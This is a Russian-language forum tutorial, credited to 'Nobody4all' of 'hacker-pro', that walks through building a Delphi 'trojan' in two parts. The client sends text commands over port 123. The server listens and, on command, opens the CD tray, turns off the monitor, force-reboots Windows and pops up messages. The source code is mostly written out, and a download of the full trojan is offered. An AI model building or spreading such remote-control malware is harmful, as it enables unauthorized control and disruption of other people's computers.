И так, троян состоит из сервера и клиента, поэтому мы с вами должны создать два проекта "client" и "server" .
Клиент отпровляет комманды серверу а сервер в свою очередь их обробатывает.
CLIENT
Создаём новый проект и кидаем на форму clientsocket с вкладки internet, 2 edit- в них будем писать ип к которому будем коннектиться и текст мессаги, 8 button- которые будут посылать серверу комманды "также киньте на форму memo". Для начала довайте компоненту clientsocket сменим имя на cs
Теперь измените свойство caption у ваших кнопок как показанно на скрине
 теперь у формы в событии OnGreate пишим
Code cs.Host:=edit1.Text; //Наш хост, тобиш ип который вы будете вписывать в edit1
cs.port:=123; //Указываем порт в нашем случае инфа будет передоваться через 123 порт теперь у в обработчике собития OnClick кнопки "Коннект" пишем код Code var s:string;
begin
cs.Active:=true; //Коннектимся
if cs.Socket.Connected=true then begin //Если подключились то
memo1.lines.add('Соединение установленно...'); //пишим в memo
end else //в противном случае пишим это
memo1.lines.add('Соединение неустановленно...'); //<--вот это теперь у кнопки "Дисконнект" Code cs.Close; //Закрываем сокет
memo1.lines.add('Соединение закрыто!'); //пишим в memo теперь у кнопки "Открыть сидюк" Code cs.Socket.SendText('CDOPEN');//посылаем серверу комманду CDOPEN теперь у кнопки "Закрыть сидюк" Code cs.Socket.SendText('CDCLOSE');//посылаем серверу комманду CDCLOSE теперь у кнопки "Потушить монитор" Code cs.Socket.SendText('MONIKOFF');//посылаем серверу комманду MONIKOFF теперь у кнопки "Ребутнуть удалённый"
Code cs.Socket.SendText('FORCE');//посылаем серверу комманду FORCE теперь у кнопки "Послать сообщение"
Code cs.Socket.SendText('MSG'+edit2.text);//посылаем серверу комманду FORCE Ну вот впринципе и всё, с клиентом поконченно, компилируем CTRL+f9! SERVER На форму кидаем serversocket с вкладки internet
У формы в событии OnGreate пишем Code serversocket1.port:=123;//Назначаем порт
serversocket1.active:=true//начинаем слушать порт Теперь у компонента serversocket1 в событии cliendread пишем код Code var s:string; //обьявляем переменную в которой будут храниться данный которые пришли от клиента
begin
s:=socket.ReceiveText; //присвиваем переменной s текст который пришёл от клиента
if s='CDOPEN' then //если CDOPEN то открыть сидюк
mciSendString('Set cdaudio door open wait', nil, 0, handle);
if s='CDCLOSE' then //если CDCLOSE значит закрыть сидюк
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
if s='MONIKOFF' then //Если пришла комманда MONIKOFF значит вырубаем монитор
SendMessage(form1.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);
if s='FORCE' then //Если пришла комманда FORCE то вырубаем комп
ExitWindowsEx(EWX_FORCE or ewx_force,0);
if copy(s,1,3)='MSG' then //копируем первые 3 символа, если они равняються коммане MSG значит вывести мессагу
Messagebox(0,pchar(copy(s,4,length(s))),'Message', 0); Всё- сервер готов, теперь компилируете- запускаете сервер, клиент- коннектитесь и тестите!
Исходники работоспособного троя к статье можите скачать тут.
By Nobody4all
© hacker-pro
fdsg
| 
